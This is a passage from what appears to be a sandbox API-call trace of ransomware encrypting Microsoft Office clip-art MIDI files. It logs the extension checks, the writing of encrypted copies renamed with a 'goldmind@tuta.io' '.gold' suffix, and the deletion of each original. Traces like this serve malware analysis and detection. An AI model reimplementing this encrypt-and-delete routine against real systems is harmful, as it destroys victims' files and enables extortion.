dwFileAttributes=0x20) returned 1 [0094.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0094.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.618] lstrlenW (lpString=".doc") returned 4 [0094.618] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.618] lstrlenW (lpString=".docx") returned 5 [0094.618] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0094.618] lstrlenW (lpString=".pdf") returned 4 [0094.618] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.618] lstrlenW (lpString=".xls") returned 4 [0094.618] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.618] lstrlenW (lpString=".xlsx") returned 5 [0094.618] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0094.618] lstrlenW (lpString=".ppt") returned 4 [0094.618] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.618] lstrlenW (lpString=".zip") returned 4 [0094.618] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.618] lstrlenW (lpString=".rar") returned 4 [0094.618] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.618] lstrlenW (lpString=".bz2") returned 4 [0094.618] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.618] lstrlenW (lpString=".7z") returned 3 [0094.618] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.618] lstrlenW (lpString=".dbf") returned 4 [0094.618] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.618] lstrlenW (lpString=".1cd") returned 4 [0094.618] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.618] lstrlenW (lpString=".jpg") returned 4 [0094.619] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.619] lstrlenW (lpString=".doc") returned 4 [0094.619] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.619] lstrlenW (lpString=".docx") returned 5 [0094.619] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0094.619] lstrlenW (lpString=".pdf") returned 4 [0094.619] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.619] lstrlenW (lpString=".xls") returned 4 [0094.619] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.619] lstrlenW (lpString=".xlsx") returned 5 [0094.619] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0094.619] lstrlenW (lpString=".ppt") returned 4 [0094.619] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.619] lstrlenW (lpString=".zip") returned 4 [0094.619] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.619] lstrlenW (lpString=".rar") returned 4 [0094.619] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.619] lstrlenW (lpString=".bz2") returned 4 [0094.619] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.619] lstrlenW (lpString=".7z") returned 3 [0094.619] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.619] lstrlenW (lpString=".dbf") returned 4 [0094.619] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.619] lstrlenW (lpString=".1cd") returned 4 [0094.619] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0094.619] lstrlenW (lpString=".jpg") returned 4 [0094.619] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.619] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.619] lstrlenW (lpString="SHOW_01.MID") returned 11 [0094.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.620] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=6392) returned 1 [0094.620] CloseHandle (hObject=0x3b8) returned 1 [0094.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0094.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.620] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.620] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.621] GetLastError () returned 0x0 [0094.621] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x18f8, lpOverlapped=0x0) returned 1 [0094.622] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1900, lpOverlapped=0x0) returned 1 [0094.623] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.623] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0094.623] SetEndOfFile (hFile=0x3b4) returned 1 [0094.623] CloseHandle (hObject=0x3b4) returned 1 [0094.623] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.623] SetEndOfFile (hFile=0x3b8) returned 1 [0094.626] CloseHandle (hObject=0x3b8) returned 1 [0094.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString=".doc") returned 4 [0094.627] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.627] lstrlenW (lpString=".docx") returned 5 [0094.627] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.627] lstrlenW (lpString=".pdf") returned 4 [0094.627] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.627] lstrlenW (lpString=".xls") returned 4 [0094.627] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.627] lstrlenW (lpString=".xlsx") returned 5 [0094.627] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.627] lstrlenW (lpString=".ppt") returned 4 [0094.627] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString=".zip") returned 4 [0094.627] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.627] lstrlenW (lpString=".rar") returned 4 [0094.627] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.627] lstrlenW (lpString=".bz2") returned 4 [0094.627] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.627] lstrlenW (lpString=".7z") returned 3 [0094.627] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString=".dbf") returned 4 [0094.627] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString=".1cd") returned 4 [0094.627] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString=".jpg") returned 4 [0094.627] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.627] lstrlenW (lpString=".doc") returned 4 [0094.627] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.627] lstrlenW (lpString=".docx") returned 5 [0094.627] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.628] lstrlenW (lpString=".pdf") returned 4 [0094.628] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.628] lstrlenW (lpString=".xls") returned 4 [0094.628] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.628] lstrlenW (lpString=".xlsx") returned 5 [0094.628] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.628] lstrlenW (lpString=".ppt") returned 4 [0094.628] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.628] lstrlenW (lpString=".zip") returned 4 [0094.628] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.628] lstrlenW (lpString=".rar") returned 4 [0094.628] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.628] lstrlenW (lpString=".bz2") returned 4 [0094.628] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.628] lstrlenW (lpString=".7z") returned 3 [0094.628] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.628] lstrlenW (lpString=".dbf") returned 4 [0094.628] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.628] lstrlenW (lpString=".1cd") returned 4 [0094.628] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0094.628] lstrlenW (lpString=".jpg") returned 4 [0094.628] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.628] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.628] lstrlenW (lpString="SPACE_01.MID") returned 12 [0094.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.628] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=4219) returned 1 [0094.629] CloseHandle (hObject=0x3b8) returned 1 [0094.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0094.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0094.629] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.629] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.629] GetLastError () returned 0x0 [0094.629] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x107b, lpOverlapped=0x0) returned 1 [0094.834] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1080, lpOverlapped=0x0) returned 1 [0094.838] ReadFile (in: hFile=0x3b8, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.838] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.839] SetEndOfFile (hFile=0x3b4) returned 1 [0094.839] CloseHandle (hObject=0x3b4) returned 1 [0094.839] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.839] SetEndOfFile (hFile=0x3b8) returned 1 [0094.840] CloseHandle (hObject=0x3b8) returned 1 [0094.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0094.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.867] lstrlenW (lpString=".doc") returned 4 [0094.867] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.867] lstrlenW (lpString=".docx") returned 5 [0094.867] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.867] lstrlenW (lpString=".pdf") returned 4 [0094.867] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.867] lstrlenW (lpString=".xls") returned 4 [0094.867] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.867] lstrlenW (lpString=".xlsx") returned 5 [0094.867] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.867] lstrlenW (lpString=".ppt") returned 4 [0094.867] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.867] lstrlenW (lpString=".zip") returned 4 [0094.867] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.867] lstrlenW (lpString=".rar") returned 4 [0094.868] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.868] lstrlenW (lpString=".bz2") returned 4 [0094.868] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString=".7z") returned 3 [0094.868] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".dbf") returned 4 [0094.868] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".1cd") returned 4 [0094.868] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".jpg") returned 4 [0094.868] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".doc") returned 4 [0094.868] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString=".docx") returned 5 [0094.868] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.868] lstrlenW (lpString=".pdf") returned 4 [0094.868] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.868] lstrlenW (lpString=".xls") returned 4 [0094.868] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.868] lstrlenW (lpString=".xlsx") returned 5 [0094.868] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.868] lstrlenW (lpString=".ppt") returned 4 [0094.868] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".zip") returned 4 [0094.868] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.868] lstrlenW (lpString=".rar") returned 4 [0094.868] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.868] lstrlenW (lpString=".bz2") returned 4 [0094.868] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString=".7z") returned 3 [0094.868] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".dbf") returned 4 [0094.868] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".1cd") returned 4 [0094.868] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0094.868] lstrlenW (lpString=".jpg") returned 4 [0094.868] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.868] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.868] lstrlenW (lpString="URBAN_01.MID") returned 12 [0094.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0094.869] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=13358) returned 1 [0094.869] CloseHandle (hObject=0x19c) returned 1 [0094.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0094.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0094.869] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.869] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0094.870] GetLastError () returned 0x0 [0094.870] ReadFile (in: hFile=0x19c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x342e, lpOverlapped=0x0) returned 1 [0094.900] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x3430, lpOverlapped=0x0) returned 1 [0094.900] ReadFile (in: hFile=0x19c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.900] WriteFile (in: hFile=0x3c0, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.901] SetEndOfFile (hFile=0x3c0) returned 1 [0094.901] CloseHandle (hObject=0x3c0) returned 1 [0094.901] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.901] SetEndOfFile (hFile=0x19c) returned 1 [0094.903] CloseHandle (hObject=0x19c) returned 1 [0094.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 1 [0094.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0094.956] lstrlenW (lpString=".doc") returned 4 [0094.956] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.956] lstrlenW (lpString=".docx") returned 5 [0094.956] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.956] lstrlenW (lpString=".pdf") returned 4 [0094.956] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.956] lstrlenW (lpString=".xls") returned 4 [0094.956] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.956] lstrlenW (lpString=".xlsx") returned 5 [0094.956] 